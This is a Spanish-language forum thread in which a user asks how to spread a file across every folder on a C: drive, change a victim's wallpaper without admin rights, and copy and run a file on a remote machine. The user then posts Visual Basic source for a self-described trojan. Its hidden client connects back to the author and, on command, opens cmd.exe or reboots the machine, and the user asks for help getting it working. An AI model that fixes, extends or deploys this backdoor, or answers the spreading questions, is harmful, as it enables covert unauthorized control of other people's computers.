Mensajes

como hago para copiar un archivo por todo el disco C:???
o sea q corro el batch y un archivo X se copie por C: , C:\windows, C:\archivos de programa y asi por todos los directorios?

como hago para cambiar el fondo de pantalla?? (que el basic tome una imagen q tengo en el disco y la ponga como fondo de pantalla...) y esto se puede hacer en una maquina sin privilegios de administrador?

bueno cuando intento conectarme no me funciona el programa, no llega a decirme ni siquiera q se conecto

y el cliente cuando corre el timer (3 segundos) me tira un error cuando ejecuta ws.conect

bueno gente me hice un troyano para mandar datos a una pc remota, y no me esta andando bien no se que le pasa, les dejo las listas de comandos del servidor y del cliente

SERVIDOR

Private Sub Command1_Click()
On Error Resume Next
ws.LocalPort = Text1.Text
ws.Close
ws.Listen
If ws.State = 2 Then Label1.Caption = "estado: conectando"
End Sub

Private Sub Command2_Click()
On Error Resume Next
ws.SendData "fin"
End Sub
Private Sub Command3_Click()
On Error Resume Next
ws.SendData "cmd"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If Not ws.State = 7 Then Label1.Caption = "desconectado"
If ws.State = 7 Then Label1.Caption = "conectado"
If Label1.Caption = "desconectado" Then
    ws.Close
    ws.Listen
End If
End Sub

Private Sub ws_Close()
Label1.Caption = "desconectado"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
ws.Close
ws.Accept requestID
Label2.Caption = "conectando a: " + ws.RemoteHostIP
Shape1.FillColor = &HFF&
Timer1.Interval = 3000
End Sub


CLIENTE

Private Sub Form_Load()
On Error Resume Next
ws.RemoteHost = aca va mi ip, por seguridad no la pongo
ws.RemotePort = 1000
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
If Not ws.State = 7 Then
    ws.Close
    ws.Connect
End If
End Sub

Private Sub Timer2_Timer()
Shell ("cmd.exe")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If datos = "fin" Then Shell ("shutdown -r")
If datos = "cmd" Then Timer2.Enabled = True
End Sub

teniendo la ip y estando habilitada puedo copiar un archivo por red mediante el .bat? y que se ejecute en esa maquina ese archivo q copie?